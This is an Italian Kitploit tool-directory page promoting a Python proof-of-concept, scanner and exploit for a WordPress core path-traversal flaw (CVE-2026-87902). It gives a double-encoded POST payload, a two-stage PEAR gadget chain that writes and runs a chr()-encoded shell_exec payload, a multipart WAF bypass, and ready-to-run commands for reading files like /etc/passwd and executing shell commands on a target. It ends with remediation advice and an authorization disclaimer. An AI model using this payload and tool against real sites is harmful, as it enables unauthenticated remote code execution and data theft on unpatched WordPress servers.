Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-87902 — PoC e scanner in Python per CVE-2026-87902, un path traversal nel core di WordPress che porta a LFI e RCE basato su PEAR, con bypass del WAF e sfruttamento automatizzato. | Kitploit
Strumenti/GitHubGitHub/bhideki/cve-2026-87902
Scanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebBypass WAFSicurezza WebPenetration TestingStrumento di Accesso RemotoSviluppo Payload
GitHubbhideki/cve-2026-87902

CVE-2026-87902

PoC e scanner in Python per CVE-2026-87902, un path traversal nel core di WordPress che porta a LFI e RCE basato su PEAR, con bypass del WAF e sfruttamento automatizzato.

11 giorno faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-87902 — WordPress Core Path Traversal / LFI / RCE

Local File Inclusion non autenticata tramite path traversal con doppia codifica nel resolver dei template di pagina del core di WordPress, con catena RCE basata su PEAR.

Dettagli della vulnerabilità

CampoValore
CVECVE-2026-87902
CVSS9.2 (Critico) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWECWE-98 — Controllo improprio del nome file per Include/Require
AffectedWordPress 4.7.0 – 7.1.1
FixedWordPress 7.1.2 + backport a tutti i branch supportati
AuthNessuna (non autenticata)

Causa principale

get_page_template() in wp-includes/template.php chiama urldecode() sul parametro di query pagename dopo che la sanitizzazione è già stata eseguita. Una sequenza ../ con doppia codifica (%252E%252E%252F) passa attraverso la prima decodifica di PHP come %2E%2E%2F, sopravvive a sanitize_title_with_dashes() (che preserva le sequenze %xx), e viene poi decodificata dalla chiamata tardiva urldecode() di WordPress in ../ — uscendo dalla directory del tema.

Il metodo POST è richiesto perché redirect_canonical() ritorna anticipatamente per le richieste non-GET/HEAD, impedendo che il percorso venga normalizzato prima di raggiungere il codice vulnerabile.

Flusso di sfruttamento

root@kitploit:~
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex

1. PHP decodifica il corpo POST:     templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserva:             templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() risolve: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() riesce → include() esegue il file

Impatto

  • Local File Inclusion — file .php arbitrari al di fuori della directory del tema vengono inclusi ed eseguiti
  • Remote Code Execution — tramite catena di gadget PEAR pearcmd.php (richiede PEAR installato + register_argc_argv=On)

Catena RCE PEAR

Due richieste POST anonime consentono di ottenere RCE:

Stage 1 — Includere pearcmd.php tramite traversal. La query string /?+config-create+/<php-payload>+<output>.php diventa l'argv di PEAR. Il comando config-create scrive dati controllati dall'attaccante (inclusi tag PHP) in una directory scrivibile.

Stage 2 — Includere il file scritto da PEAR. Il PHP incorporato viene eseguito con i privilegi del web server.

I payload PHP usano la codifica chr() (<?=shell_exec(chr(105).chr(100))?>) per evitare i caratteri di quoting che wp_magic_quotes() sfuggirebbe.

Strumento

cve-2026-87902.py — checker automatizzato + scanner LFI + exploit RCE PEAR. Usa http.client per un controllo byte-esatto delle richieste (nessuna ri-codifica da parte di librerie).

Requisiti

Python 3.6+ (solo libreria standard — nessuna dipendenza pip)

Utilizzo

root@kitploit:~
# Verifica solo la vulnerabilità
python3 cve-2026-87902.py https://target.com --check

# Verifica con bypass WAF (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart

# Specifica l'ID pagina e la profondità del traversal
python3 cve-2026-87902.py https://target.com -p 42 --depth 7

# Scansione LFI (target predefiniti)
python3 cve-2026-87902.py https://target.com

# Scansione LFI con file personalizzati
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable

# RCE tramite catena PEAR
python3 cve-2026-87902.py https://target.com --rce "id"

# Leggere un file tramite RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname

# Opzioni complete
python3 cve-2026-87902.py https://target.com --rce "whoami" \
    --pear /usr/local/lib/php/pearcmd \
    --output /tmp/wp-rce-payload \
    --multipart --timeout 30

Cosa fa

  1. Rilevamento del tema — estrae il tema attivo dall'HTML, sonda le directory page-*
  2. Scoperta delle pagine — interroga la REST API per le pagine pubblicate con template predefiniti
  3. Test di traversal — esplora più profondità (1-12) con payload POST a doppia codifica
  4. Bypass WAF — --multipart avvolge il payload in multipart/form-data per eludere il pattern matching del WAF
  5. Scansione LFI — include file WordPress noti e confronta le dimensioni delle risposte con la baseline
  6. RCE — catena PEAR a due stadi con payload codificati con chr()

Marcatori di output

MarcatoreSignificato
[HIT]Il file è stato incluso con successo
[---]Risposta normale (file non incluso)
[???]La risposta differisce significativamente — da investigare
[WAF]Bloccato dal WAF (403)
[ERR]Connessione fallita

Precondizioni

  • Il tema attivo deve contenere una directory page-* (es. page-templates/)
  • Almeno una pagina pubblicata con il template predefinito
  • Versione di WordPress nell'intervallo interessato (non patchata)
  • Per RCE: pearcmd.php di PEAR leggibile + register_argc_argv=On + /tmp scrivibile

Remediation

Aggiornare a WordPress 7.1.2 o all'ultima release di sicurezza per il proprio branch (backport disponibili fino alla 4.7).

Riferimenti

  • Robert Ressl — CVE-2026-87902 Write-up
  • WordPress Security Advisory — GHSA-7hp8-65ch-5whp
  • Hadrian Vulnerability Alert

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e ricerca su bug bounty. Usalo solo contro sistemi per i quali hai esplicita autorizzazione a testare. L'accesso non autorizzato a sistemi informatici è illegale.

Scarica lo strumento